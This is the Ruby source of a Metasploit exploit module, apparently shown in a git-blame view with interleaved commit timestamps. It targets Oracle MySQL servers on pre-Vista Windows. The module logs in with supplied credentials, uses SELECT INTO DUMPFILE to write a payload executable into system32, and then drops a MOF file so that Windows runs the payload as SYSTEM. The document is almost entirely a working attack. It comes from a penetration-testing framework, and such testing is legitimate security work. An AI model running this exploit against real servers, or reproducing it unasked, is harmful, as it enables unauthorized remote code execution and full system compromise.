2012-12-06 09:56:23 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-12-06 09:56:23 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::MYSQL
|
|
|
|
include Msf::Exploit::WbemExec
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module takes advantage of a file privilege misconfiguration problem
|
|
|
|
specifically against Windows MySQL servers (due to the use of a .mof file).
|
|
|
|
This may result in arbitrary code execution under the context of SYSTEM.
|
|
|
|
This module requires a valid MySQL account on the target machine.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'kingcope',
|
|
|
|
'sinn3r'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2012-5613'], #DISPUTED
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '88118'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['EDB', '23083'],
|
|
|
|
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'MySQL on Windows prior to Vista', { } ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Dec 01 2012'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
|
|
|
|
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
|
|
return Exploit::CheckCode::Safe if not m
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Appears if is_windows?
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def query(q)
|
|
|
|
rows = []
|
|
|
|
|
|
|
|
begin
|
|
|
|
res = mysql_query(q)
|
|
|
|
return rows if not res
|
|
|
|
res.each_hash do |row|
|
|
|
|
rows << row
|
|
|
|
end
|
|
|
|
rescue RbMysql::ParseError
|
|
|
|
return rows
|
|
|
|
end
|
|
|
|
|
|
|
|
return rows
|
|
|
|
end
|
|
|
|
|
|
|
|
def is_windows?
|
|
|
|
r = query("SELECT @@version_compile_os;")
|
|
|
|
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_drive_letter
|
|
|
|
r = query("SELECT @@tmpdir;")
|
|
|
|
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
|
|
|
|
return drive
|
|
|
|
end
|
|
|
|
|
|
|
|
def upload_file(bin, dest)
|
|
|
|
p = bin.unpack("H*")[0]
|
|
|
|
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
|
|
return if not m
|
|
|
|
rescue RbMysql::AccessDeniedError
|
2016-02-01 21:12:03 +00:00
|
|
|
print_error("Access denied.")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if not is_windows?
|
2016-02-01 21:12:03 +00:00
|
|
|
print_error("Remote host isn't Windows.")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
drive = get_drive_letter
|
|
|
|
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
|
|
|
|
dest = "#{drive}:/windows/system32/#{exe_name}"
|
|
|
|
exe = generate_payload_exe
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Uploading to '#{dest}'")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
upload_file(exe, dest)
|
|
|
|
register_file_for_cleanup("#{exe_name}")
|
|
|
|
rescue RbMysql::AccessDeniedError
|
2016-02-01 21:12:03 +00:00
|
|
|
print_error("No permission to write. I blame kc :-)")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
|
|
|
|
dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
|
|
|
|
mof = generate_mof(mof_name, exe_name)
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Uploading to '#{dest}'")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
upload_file(mof, dest)
|
|
|
|
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
|
|
|
|
rescue RbMysql::AccessDeniedError
|
2016-02-01 21:12:03 +00:00
|
|
|
print_error("No permission to write. Bail!")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
2012-12-06 09:56:23 +00:00
|
|
|
|
|
|
|
end
|